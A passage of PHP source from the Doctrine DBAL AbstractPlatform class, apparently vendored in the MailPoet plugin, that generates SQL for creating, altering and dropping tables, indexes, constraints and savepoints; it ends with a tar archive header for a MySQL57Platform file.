' . $value2 . ')'; } public function getForUpdateSQL() { return 'FOR UPDATE'; } public function appendLockHint($fromClause, $lockMode) { return $fromClause; } public function getReadLockSQL() { return $this->getForUpdateSQL(); } public function getWriteLockSQL() { return $this->getForUpdateSQL(); } public function getDropDatabaseSQL($database) { return 'DROP DATABASE ' . $database; } public function getDropTableSQL($table) { $tableArg = $table; if ($table instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { $table = $table->getQuotedName($this); } elseif (!\is_string($table)) { throw new \InvalidArgumentException('getDropTableSQL() expects $table parameter to be string or \\Doctrine\\DBAL\\Schema\\Table.'); } if (null !== $this->_eventManager && $this->_eventManager->hasListeners(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaDropTable)) { $eventArgs = new \MailPoetVendor\Doctrine\DBAL\Event\SchemaDropTableEventArgs($tableArg, $this); $this->_eventManager->dispatchEvent(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaDropTable, $eventArgs); if ($eventArgs->isDefaultPrevented()) { return $eventArgs->getSql(); } } return 'DROP TABLE ' . $table; } public function getDropTemporaryTableSQL($table) { return $this->getDropTableSQL($table); } public function getDropIndexSQL($index, $table = null) { if ($index instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Index) { $index = $index->getQuotedName($this); } elseif (!\is_string($index)) { throw new \InvalidArgumentException('AbstractPlatform::getDropIndexSQL() expects $index parameter to be string or \\Doctrine\\DBAL\\Schema\\Index.'); } return 'DROP INDEX ' . $index; } public function getDropConstraintSQL($constraint, $table) { if (!$constraint instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Constraint) { $constraint = new \MailPoetVendor\Doctrine\DBAL\Schema\Identifier($constraint); } if (!$table instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { $table = new \MailPoetVendor\Doctrine\DBAL\Schema\Identifier($table); } $constraint = $constraint->getQuotedName($this); $table = $table->getQuotedName($this); return 'ALTER TABLE ' . $table . ' DROP CONSTRAINT ' . $constraint; } public function getDropForeignKeySQL($foreignKey, $table) { if (!$foreignKey instanceof \MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint) { $foreignKey = new \MailPoetVendor\Doctrine\DBAL\Schema\Identifier($foreignKey); } if (!$table instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { $table = new \MailPoetVendor\Doctrine\DBAL\Schema\Identifier($table); } $foreignKey = $foreignKey->getQuotedName($this); $table = $table->getQuotedName($this); return 'ALTER TABLE ' . $table . ' DROP FOREIGN KEY ' . $foreignKey; } public function getCreateTableSQL(\MailPoetVendor\Doctrine\DBAL\Schema\Table $table, $createFlags = self::CREATE_INDEXES) { if (!\is_int($createFlags)) { throw new \InvalidArgumentException("Second argument of AbstractPlatform::getCreateTableSQL() has to be integer."); } if (\count($table->getColumns()) === 0) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::noColumnsSpecifiedForTable($table->getName()); } $tableName = $table->getQuotedName($this); $options = $table->getOptions(); $options['uniqueConstraints'] = array(); $options['indexes'] = array(); $options['primary'] = array(); if (($createFlags & self::CREATE_INDEXES) > 0) { foreach ($table->getIndexes() as $index) { if ($index->isPrimary()) { $options['primary'] = $index->getQuotedColumns($this); $options['primary_index'] = $index; } else { $options['indexes'][$index->getQuotedName($this)] = $index; } } } $columnSql = array(); $columns = array(); foreach ($table->getColumns() as $column) { if (null !== $this->_eventManager && $this->_eventManager->hasListeners(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaCreateTableColumn)) { $eventArgs = new \MailPoetVendor\Doctrine\DBAL\Event\SchemaCreateTableColumnEventArgs($column, $table, $this); $this->_eventManager->dispatchEvent(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaCreateTableColumn, $eventArgs); $columnSql = \array_merge($columnSql, $eventArgs->getSql()); if ($eventArgs->isDefaultPrevented()) { continue; } } $columnData = $column->toArray(); $columnData['name'] = $column->getQuotedName($this); $columnData['version'] = $column->hasPlatformOption("version") ? $column->getPlatformOption('version') : \false; $columnData['comment'] = $this->getColumnComment($column); if (\strtolower($columnData['type']) == "string" && $columnData['length'] === null) { $columnData['length'] = 255; } if (\in_array($column->getName(), $options['primary'])) { $columnData['primary'] = \true; } $columns[$columnData['name']] = $columnData; } if (($createFlags & self::CREATE_FOREIGNKEYS) > 0) { $options['foreignKeys'] = array(); foreach ($table->getForeignKeys() as $fkConstraint) { $options['foreignKeys'][] = $fkConstraint; } } if (null !== $this->_eventManager && $this->_eventManager->hasListeners(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaCreateTable)) { $eventArgs = new \MailPoetVendor\Doctrine\DBAL\Event\SchemaCreateTableEventArgs($table, $columns, $options, $this); $this->_eventManager->dispatchEvent(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaCreateTable, $eventArgs); if ($eventArgs->isDefaultPrevented()) { return \array_merge($eventArgs->getSql(), $columnSql); } } $sql = $this->_getCreateTableSQL($tableName, $columns, $options); if ($this->supportsCommentOnStatement()) { foreach ($table->getColumns() as $column) { $comment = $this->getColumnComment($column); if (null !== $comment && '' !== $comment) { $sql[] = $this->getCommentOnColumnSQL($tableName, $column->getQuotedName($this), $comment); } } } return \array_merge($sql, $columnSql); } public function getCommentOnColumnSQL($tableName, $columnName, $comment) { $tableName = new \MailPoetVendor\Doctrine\DBAL\Schema\Identifier($tableName); $columnName = new \MailPoetVendor\Doctrine\DBAL\Schema\Identifier($columnName); $comment = $this->quoteStringLiteral($comment); return "COMMENT ON COLUMN " . $tableName->getQuotedName($this) . "." . $columnName->getQuotedName($this) . " IS " . $comment; } protected function _getCreateTableSQL($tableName, array $columns, array $options = array()) { $columnListSql = $this->getColumnDeclarationListSQL($columns); if (isset($options['uniqueConstraints']) && !empty($options['uniqueConstraints'])) { foreach ($options['uniqueConstraints'] as $name => $definition) { $columnListSql .= ', ' . $this->getUniqueConstraintDeclarationSQL($name, $definition); } } if (isset($options['primary']) && !empty($options['primary'])) { $columnListSql .= ', PRIMARY KEY(' . \implode(', ', \array_unique(\array_values($options['primary']))) . ')'; } if (isset($options['indexes']) && !empty($options['indexes'])) { foreach ($options['indexes'] as $index => $definition) { $columnListSql .= ', ' . $this->getIndexDeclarationSQL($index, $definition); } } $query = 'CREATE TABLE ' . $tableName . ' (' . $columnListSql; $check = $this->getCheckDeclarationSQL($columns); if (!empty($check)) { $query .= ', ' . $check; } $query .= ')'; $sql[] = $query; if (isset($options['foreignKeys'])) { foreach ((array) $options['foreignKeys'] as $definition) { $sql[] = $this->getCreateForeignKeySQL($definition, $tableName); } } return $sql; } public function getCreateTemporaryTableSnippetSQL() { return "CREATE TEMPORARY TABLE"; } public function getCreateSequenceSQL(\MailPoetVendor\Doctrine\DBAL\Schema\Sequence $sequence) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getAlterSequenceSQL(\MailPoetVendor\Doctrine\DBAL\Schema\Sequence $sequence) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getCreateConstraintSQL(\MailPoetVendor\Doctrine\DBAL\Schema\Constraint $constraint, $table) { if ($table instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { $table = $table->getQuotedName($this); } $query = 'ALTER TABLE ' . $table . ' ADD CONSTRAINT ' . $constraint->getQuotedName($this); $columnList = '(' . \implode(', ', $constraint->getQuotedColumns($this)) . ')'; $referencesClause = ''; if ($constraint instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Index) { if ($constraint->isPrimary()) { $query .= ' PRIMARY KEY'; } elseif ($constraint->isUnique()) { $query .= ' UNIQUE'; } else { throw new \InvalidArgumentException('Can only create primary or unique constraints, no common indexes with getCreateConstraintSQL().'); } } elseif ($constraint instanceof \MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint) { $query .= ' FOREIGN KEY'; $referencesClause = ' REFERENCES ' . $constraint->getQuotedForeignTableName($this) . ' (' . \implode(', ', $constraint->getQuotedForeignColumns($this)) . ')'; } $query .= ' ' . $columnList . $referencesClause; return $query; } public function getCreateIndexSQL(\MailPoetVendor\Doctrine\DBAL\Schema\Index $index, $table) { if ($table instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { $table = $table->getQuotedName($this); } $name = $index->getQuotedName($this); $columns = $index->getQuotedColumns($this); if (\count($columns) == 0) { throw new \InvalidArgumentException("Incomplete definition. 'columns' required."); } if ($index->isPrimary()) { return $this->getCreatePrimaryKeySQL($index, $table); } $query = 'CREATE ' . $this->getCreateIndexSQLFlags($index) . 'INDEX ' . $name . ' ON ' . $table; $query .= ' (' . $this->getIndexFieldDeclarationListSQL($columns) . ')' . $this->getPartialIndexSQL($index); return $query; } protected function getPartialIndexSQL(\MailPoetVendor\Doctrine\DBAL\Schema\Index $index) { if ($this->supportsPartialIndexes() && $index->hasOption('where')) { return ' WHERE ' . $index->getOption('where'); } return ''; } protected function getCreateIndexSQLFlags(\MailPoetVendor\Doctrine\DBAL\Schema\Index $index) { return $index->isUnique() ? 'UNIQUE ' : ''; } public function getCreatePrimaryKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\Index $index, $table) { return 'ALTER TABLE ' . $table . ' ADD PRIMARY KEY (' . $this->getIndexFieldDeclarationListSQL($index->getQuotedColumns($this)) . ')'; } public function getCreateSchemaSQL($schemaName) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function quoteIdentifier($str) { if (\strpos($str, ".") !== \false) { $parts = \array_map(array($this, "quoteSingleIdentifier"), \explode(".", $str)); return \implode(".", $parts); } return $this->quoteSingleIdentifier($str); } public function quoteSingleIdentifier($str) { $c = $this->getIdentifierQuoteCharacter(); return $c . \str_replace($c, $c . $c, $str) . $c; } public function getCreateForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint $foreignKey, $table) { if ($table instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { $table = $table->getQuotedName($this); } $query = 'ALTER TABLE ' . $table . ' ADD ' . $this->getForeignKeyDeclarationSQL($foreignKey); return $query; } public function getAlterTableSQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } protected function onSchemaAlterTableAddColumn(\MailPoetVendor\Doctrine\DBAL\Schema\Column $column, \MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff, &$columnSql) { if (null === $this->_eventManager) { return \false; } if (!$this->_eventManager->hasListeners(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaAlterTableAddColumn)) { return \false; } $eventArgs = new \MailPoetVendor\Doctrine\DBAL\Event\SchemaAlterTableAddColumnEventArgs($column, $diff, $this); $this->_eventManager->dispatchEvent(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaAlterTableAddColumn, $eventArgs); $columnSql = \array_merge($columnSql, $eventArgs->getSql()); return $eventArgs->isDefaultPrevented(); } protected function onSchemaAlterTableRemoveColumn(\MailPoetVendor\Doctrine\DBAL\Schema\Column $column, \MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff, &$columnSql) { if (null === $this->_eventManager) { return \false; } if (!$this->_eventManager->hasListeners(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaAlterTableRemoveColumn)) { return \false; } $eventArgs = new \MailPoetVendor\Doctrine\DBAL\Event\SchemaAlterTableRemoveColumnEventArgs($column, $diff, $this); $this->_eventManager->dispatchEvent(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaAlterTableRemoveColumn, $eventArgs); $columnSql = \array_merge($columnSql, $eventArgs->getSql()); return $eventArgs->isDefaultPrevented(); } protected function onSchemaAlterTableChangeColumn(\MailPoetVendor\Doctrine\DBAL\Schema\ColumnDiff $columnDiff, \MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff, &$columnSql) { if (null === $this->_eventManager) { return \false; } if (!$this->_eventManager->hasListeners(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaAlterTableChangeColumn)) { return \false; } $eventArgs = new \MailPoetVendor\Doctrine\DBAL\Event\SchemaAlterTableChangeColumnEventArgs($columnDiff, $diff, $this); $this->_eventManager->dispatchEvent(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaAlterTableChangeColumn, $eventArgs); $columnSql = \array_merge($columnSql, $eventArgs->getSql()); return $eventArgs->isDefaultPrevented(); } protected function onSchemaAlterTableRenameColumn($oldColumnName, \MailPoetVendor\Doctrine\DBAL\Schema\Column $column, \MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff, &$columnSql) { if (null === $this->_eventManager) { return \false; } if (!$this->_eventManager->hasListeners(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaAlterTableRenameColumn)) { return \false; } $eventArgs = new \MailPoetVendor\Doctrine\DBAL\Event\SchemaAlterTableRenameColumnEventArgs($oldColumnName, $column, $diff, $this); $this->_eventManager->dispatchEvent(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaAlterTableRenameColumn, $eventArgs); $columnSql = \array_merge($columnSql, $eventArgs->getSql()); return $eventArgs->isDefaultPrevented(); } protected function onSchemaAlterTable(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff, &$sql) { if (null === $this->_eventManager) { return \false; } if (!$this->_eventManager->hasListeners(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaAlterTable)) { return \false; } $eventArgs = new \MailPoetVendor\Doctrine\DBAL\Event\SchemaAlterTableEventArgs($diff, $this); $this->_eventManager->dispatchEvent(\MailPoetVendor\Doctrine\DBAL\Events::onSchemaAlterTable, $eventArgs); $sql = \array_merge($sql, $eventArgs->getSql()); return $eventArgs->isDefaultPrevented(); } protected function getPreAlterTableIndexForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { $tableName = $diff->getName($this)->getQuotedName($this); $sql = array(); if ($this->supportsForeignKeyConstraints()) { foreach ($diff->removedForeignKeys as $foreignKey) { $sql[] = $this->getDropForeignKeySQL($foreignKey, $tableName); } foreach ($diff->changedForeignKeys as $foreignKey) { $sql[] = $this->getDropForeignKeySQL($foreignKey, $tableName); } } foreach ($diff->removedIndexes as $index) { $sql[] = $this->getDropIndexSQL($index, $tableName); } foreach ($diff->changedIndexes as $index) { $sql[] = $this->getDropIndexSQL($index, $tableName); } return $sql; } protected function getPostAlterTableIndexForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { $tableName = \false !== $diff->newName ? $diff->getNewName()->getQuotedName($this) : $diff->getName($this)->getQuotedName($this); $sql = array(); if ($this->supportsForeignKeyConstraints()) { foreach ($diff->addedForeignKeys as $foreignKey) { $sql[] = $this->getCreateForeignKeySQL($foreignKey, $tableName); } foreach ($diff->changedForeignKeys as $foreignKey) { $sql[] = $this->getCreateForeignKeySQL($foreignKey, $tableName); } } foreach ($diff->addedIndexes as $index) { $sql[] = $this->getCreateIndexSQL($index, $tableName); } foreach ($diff->changedIndexes as $index) { $sql[] = $this->getCreateIndexSQL($index, $tableName); } foreach ($diff->renamedIndexes as $oldIndexName => $index) { $oldIndexName = new \MailPoetVendor\Doctrine\DBAL\Schema\Identifier($oldIndexName); $sql = \array_merge($sql, $this->getRenameIndexSQL($oldIndexName->getQuotedName($this), $index, $tableName)); } return $sql; } protected function getRenameIndexSQL($oldIndexName, \MailPoetVendor\Doctrine\DBAL\Schema\Index $index, $tableName) { return array($this->getDropIndexSQL($oldIndexName, $tableName), $this->getCreateIndexSQL($index, $tableName)); } protected function _getAlterTableIndexForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { return \array_merge($this->getPreAlterTableIndexForeignKeySQL($diff), $this->getPostAlterTableIndexForeignKeySQL($diff)); } public function getColumnDeclarationListSQL(array $fields) { $queryFields = array(); foreach ($fields as $fieldName => $field) { $queryFields[] = $this->getColumnDeclarationSQL($fieldName, $field); } return \implode(', ', $queryFields); } public function getColumnDeclarationSQL($name, array $field) { if (isset($field['columnDefinition'])) { $columnDef = $this->getCustomTypeDeclarationSQL($field); } else { $default = $this->getDefaultValueDeclarationSQL($field); $charset = isset($field['charset']) && $field['charset'] ? ' ' . $this->getColumnCharsetDeclarationSQL($field['charset']) : ''; $collation = isset($field['collation']) && $field['collation'] ? ' ' . $this->getColumnCollationDeclarationSQL($field['collation']) : ''; $notnull = isset($field['notnull']) && $field['notnull'] ? ' NOT NULL' : ''; $unique = isset($field['unique']) && $field['unique'] ? ' ' . $this->getUniqueFieldDeclarationSQL() : ''; $check = isset($field['check']) && $field['check'] ? ' ' . $field['check'] : ''; $typeDecl = $field['type']->getSqlDeclaration($field, $this); $columnDef = $typeDecl . $charset . $default . $notnull . $unique . $check . $collation; if ($this->supportsInlineColumnComments() && isset($field['comment']) && $field['comment'] !== '') { $columnDef .= " COMMENT " . $this->quoteStringLiteral($field['comment']); } } return $name . ' ' . $columnDef; } public function getDecimalTypeDeclarationSQL(array $columnDef) { $columnDef['precision'] = !isset($columnDef['precision']) || empty($columnDef['precision']) ? 10 : $columnDef['precision']; $columnDef['scale'] = !isset($columnDef['scale']) || empty($columnDef['scale']) ? 0 : $columnDef['scale']; return 'NUMERIC(' . $columnDef['precision'] . ', ' . $columnDef['scale'] . ')'; } public function getDefaultValueDeclarationSQL($field) { $default = empty($field['notnull']) ? ' DEFAULT NULL' : ''; if (isset($field['default'])) { $default = " DEFAULT '" . $field['default'] . "'"; if (isset($field['type'])) { if (\in_array((string) $field['type'], array("Integer", "BigInt", "SmallInt"))) { $default = " DEFAULT " . $field['default']; } elseif (\in_array((string) $field['type'], array('DateTime', 'DateTimeTz')) && $field['default'] == $this->getCurrentTimestampSQL()) { $default = " DEFAULT " . $this->getCurrentTimestampSQL(); } elseif ((string) $field['type'] == 'Time' && $field['default'] == $this->getCurrentTimeSQL()) { $default = " DEFAULT " . $this->getCurrentTimeSQL(); } elseif ((string) $field['type'] == 'Date' && $field['default'] == $this->getCurrentDateSQL()) { $default = " DEFAULT " . $this->getCurrentDateSQL(); } elseif ((string) $field['type'] == 'Boolean') { $default = " DEFAULT '" . $this->convertBooleans($field['default']) . "'"; } } } return $default; } public function getCheckDeclarationSQL(array $definition) { $constraints = array(); foreach ($definition as $field => $def) { if (\is_string($def)) { $constraints[] = 'CHECK (' . $def . ')'; } else { if (isset($def['min'])) { $constraints[] = 'CHECK (' . $field . ' >= ' . $def['min'] . ')'; } if (isset($def['max'])) { $constraints[] = 'CHECK (' . $field . ' <= ' . $def['max'] . ')'; } } } return \implode(', ', $constraints); } public function getUniqueConstraintDeclarationSQL($name, \MailPoetVendor\Doctrine\DBAL\Schema\Index $index) { $columns = $index->getQuotedColumns($this); $name = new \MailPoetVendor\Doctrine\DBAL\Schema\Identifier($name); if (\count($columns) === 0) { throw new \InvalidArgumentException("Incomplete definition. 'columns' required."); } return 'CONSTRAINT ' . $name->getQuotedName($this) . ' UNIQUE (' . $this->getIndexFieldDeclarationListSQL($columns) . ')' . $this->getPartialIndexSQL($index); } public function getIndexDeclarationSQL($name, \MailPoetVendor\Doctrine\DBAL\Schema\Index $index) { $columns = $index->getQuotedColumns($this); $name = new \MailPoetVendor\Doctrine\DBAL\Schema\Identifier($name); if (\count($columns) === 0) { throw new \InvalidArgumentException("Incomplete definition. 'columns' required."); } return $this->getCreateIndexSQLFlags($index) . 'INDEX ' . $name->getQuotedName($this) . ' (' . $this->getIndexFieldDeclarationListSQL($columns) . ')' . $this->getPartialIndexSQL($index); } public function getCustomTypeDeclarationSQL(array $columnDef) { return $columnDef['columnDefinition']; } public function getIndexFieldDeclarationListSQL(array $fields) { $ret = array(); foreach ($fields as $field => $definition) { if (\is_array($definition)) { $ret[] = $field; } else { $ret[] = $definition; } } return \implode(', ', $ret); } public function getTemporaryTableSQL() { return 'TEMPORARY'; } public function getTemporaryTableName($tableName) { return $tableName; } public function getForeignKeyDeclarationSQL(\MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint $foreignKey) { $sql = $this->getForeignKeyBaseDeclarationSQL($foreignKey); $sql .= $this->getAdvancedForeignKeyOptionsSQL($foreignKey); return $sql; } public function getAdvancedForeignKeyOptionsSQL(\MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint $foreignKey) { $query = ''; if ($this->supportsForeignKeyOnUpdate() && $foreignKey->hasOption('onUpdate')) { $query .= ' ON UPDATE ' . $this->getForeignKeyReferentialActionSQL($foreignKey->getOption('onUpdate')); } if ($foreignKey->hasOption('onDelete')) { $query .= ' ON DELETE ' . $this->getForeignKeyReferentialActionSQL($foreignKey->getOption('onDelete')); } return $query; } public function getForeignKeyReferentialActionSQL($action) { $upper = \strtoupper($action); switch ($upper) { case 'CASCADE': case 'SET NULL': case 'NO ACTION': case 'RESTRICT': case 'SET DEFAULT': return $upper; default: throw new \InvalidArgumentException('Invalid foreign key action: ' . $upper); } } public function getForeignKeyBaseDeclarationSQL(\MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint $foreignKey) { $sql = ''; if (\strlen($foreignKey->getName())) { $sql .= 'CONSTRAINT ' . $foreignKey->getQuotedName($this) . ' '; } $sql .= 'FOREIGN KEY ('; if (\count($foreignKey->getLocalColumns()) === 0) { throw new \InvalidArgumentException("Incomplete definition. 'local' required."); } if (\count($foreignKey->getForeignColumns()) === 0) { throw new \InvalidArgumentException("Incomplete definition. 'foreign' required."); } if (\strlen($foreignKey->getForeignTableName()) === 0) { throw new \InvalidArgumentException("Incomplete definition. 'foreignTable' required."); } $sql .= \implode(', ', $foreignKey->getQuotedLocalColumns($this)) . ') REFERENCES ' . $foreignKey->getQuotedForeignTableName($this) . ' (' . \implode(', ', $foreignKey->getQuotedForeignColumns($this)) . ')'; return $sql; } public function getUniqueFieldDeclarationSQL() { return 'UNIQUE'; } public function getColumnCharsetDeclarationSQL($charset) { return ''; } public function getColumnCollationDeclarationSQL($collation) { return $this->supportsColumnCollation() ? 'COLLATE ' . $collation : ''; } public function prefersSequences() { return \false; } public function prefersIdentityColumns() { return \false; } public function convertBooleans($item) { if (\is_array($item)) { foreach ($item as $k => $value) { if (\is_bool($value)) { $item[$k] = (int) $value; } } } elseif (\is_bool($item)) { $item = (int) $item; } return $item; } public function convertFromBoolean($item) { return null === $item ? null : (bool) $item; } public function convertBooleansToDatabaseValue($item) { return $this->convertBooleans($item); } public function getCurrentDateSQL() { return 'CURRENT_DATE'; } public function getCurrentTimeSQL() { return 'CURRENT_TIME'; } public function getCurrentTimestampSQL() { return 'CURRENT_TIMESTAMP'; } protected function _getTransactionIsolationLevelSQL($level) { switch ($level) { case \MailPoetVendor\Doctrine\DBAL\Connection::TRANSACTION_READ_UNCOMMITTED: return 'READ UNCOMMITTED'; case \MailPoetVendor\Doctrine\DBAL\Connection::TRANSACTION_READ_COMMITTED: return 'READ COMMITTED'; case \MailPoetVendor\Doctrine\DBAL\Connection::TRANSACTION_REPEATABLE_READ: return 'REPEATABLE READ'; case \MailPoetVendor\Doctrine\DBAL\Connection::TRANSACTION_SERIALIZABLE: return 'SERIALIZABLE'; default: throw new \InvalidArgumentException('Invalid isolation level:' . $level); } } public function getListDatabasesSQL() { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getListNamespacesSQL() { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getListSequencesSQL($database) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getListTableConstraintsSQL($table) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getListTableColumnsSQL($table, $database = null) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getListTablesSQL() { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getListUsersSQL() { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getListViewsSQL($database) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getListTableIndexesSQL($table, $currentDatabase = null) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getListTableForeignKeysSQL($table) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getCreateViewSQL($name, $sql) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getDropViewSQL($name) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getDropSequenceSQL($sequence) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getSequenceNextValSQL($sequenceName) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getCreateDatabaseSQL($database) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getSetTransactionIsolationSQL($level) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getDateTimeTypeDeclarationSQL(array $fieldDeclaration) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getDateTimeTzTypeDeclarationSQL(array $fieldDeclaration) { return $this->getDateTimeTypeDeclarationSQL($fieldDeclaration); } public function getDateTypeDeclarationSQL(array $fieldDeclaration) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getTimeTypeDeclarationSQL(array $fieldDeclaration) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getFloatDeclarationSQL(array $fieldDeclaration) { return 'DOUBLE PRECISION'; } public function getDefaultTransactionIsolationLevel() { return \MailPoetVendor\Doctrine\DBAL\Connection::TRANSACTION_READ_COMMITTED; } public function supportsSequences() { return \false; } public function supportsIdentityColumns() { return \false; } public function usesSequenceEmulatedIdentityColumns() { return \false; } public function getIdentitySequenceName($tableName, $columnName) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function supportsIndexes() { return \true; } public function supportsPartialIndexes() { return \false; } public function supportsAlterTable() { return \true; } public function supportsTransactions() { return \true; } public function supportsSavepoints() { return \true; } public function supportsReleaseSavepoints() { return $this->supportsSavepoints(); } public function supportsPrimaryConstraints() { return \true; } public function supportsForeignKeyConstraints() { return \true; } public function supportsForeignKeyOnUpdate() { return $this->supportsForeignKeyConstraints() && \true; } public function supportsSchemas() { return \false; } public function canEmulateSchemas() { return \false; } public function getDefaultSchemaName() { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function supportsCreateDropDatabase() { return \true; } public function supportsGettingAffectedRows() { return \true; } public function supportsInlineColumnComments() { return \false; } public function supportsCommentOnStatement() { return \false; } public function hasNativeGuidType() { return \false; } public function hasNativeJsonType() { return \false; } public function getIdentityColumnNullInsertSQL() { return ""; } public function supportsViews() { return \true; } public function supportsColumnCollation() { return \false; } public function getDateTimeFormatString() { return 'Y-m-d H:i:s'; } public function getDateTimeTzFormatString() { return 'Y-m-d H:i:s'; } public function getDateFormatString() { return 'Y-m-d'; } public function getTimeFormatString() { return 'H:i:s'; } public final function modifyLimitQuery($query, $limit, $offset = null) { if ($limit !== null) { $limit = (int) $limit; } if ($offset !== null) { $offset = (int) $offset; if ($offset < 0) { throw new \MailPoetVendor\Doctrine\DBAL\DBALException("LIMIT argument offset={$offset} is not valid"); } if ($offset > 0 && !$this->supportsLimitOffset()) { throw new \MailPoetVendor\Doctrine\DBAL\DBALException(\sprintf("Platform %s does not support offset values in limit queries.", $this->getName())); } } return $this->doModifyLimitQuery($query, $limit, $offset); } protected function doModifyLimitQuery($query, $limit, $offset) { if ($limit !== null) { $query .= ' LIMIT ' . $limit; } if ($offset !== null) { $query .= ' OFFSET ' . $offset; } return $query; } public function supportsLimitOffset() { return \true; } public function getSQLResultCasing($column) { return $column; } public function fixSchemaElementName($schemaElementName) { return $schemaElementName; } public function getMaxIdentifierLength() { return 63; } public function getEmptyIdentityInsertSQL($tableName, $identifierColumnName) { return 'INSERT INTO ' . $tableName . ' (' . $identifierColumnName . ') VALUES (null)'; } public function getTruncateTableSQL($tableName, $cascade = \false) { $tableIdentifier = new \MailPoetVendor\Doctrine\DBAL\Schema\Identifier($tableName); return 'TRUNCATE ' . $tableIdentifier->getQuotedName($this); } public function getDummySelectSQL() { return 'SELECT 1'; } public function createSavePoint($savepoint) { return 'SAVEPOINT ' . $savepoint; } public function releaseSavePoint($savepoint) { return 'RELEASE SAVEPOINT ' . $savepoint; } public function rollbackSavePoint($savepoint) { return 'ROLLBACK TO SAVEPOINT ' . $savepoint; } public final function getReservedKeywordsList() { if ($this->_keywords) { return $this->_keywords; } $class = $this->getReservedKeywordsClass(); $keywords = new $class(); if (!$keywords instanceof \MailPoetVendor\Doctrine\DBAL\Platforms\Keywords\KeywordList) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } $this->_keywords = $keywords; return $keywords; } protected function getReservedKeywordsClass() { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function quoteStringLiteral($str) { $c = $this->getStringLiteralQuoteCharacter(); return $c . \str_replace($c, $c . $c, $str) . $c; } public function getStringLiteralQuoteCharacter() { return "'"; } } Doctrine/DBAL/Platforms/MySQL57Platform.php 0000666 00000001615 15035130072 0014326 0 ustar 00 <?php
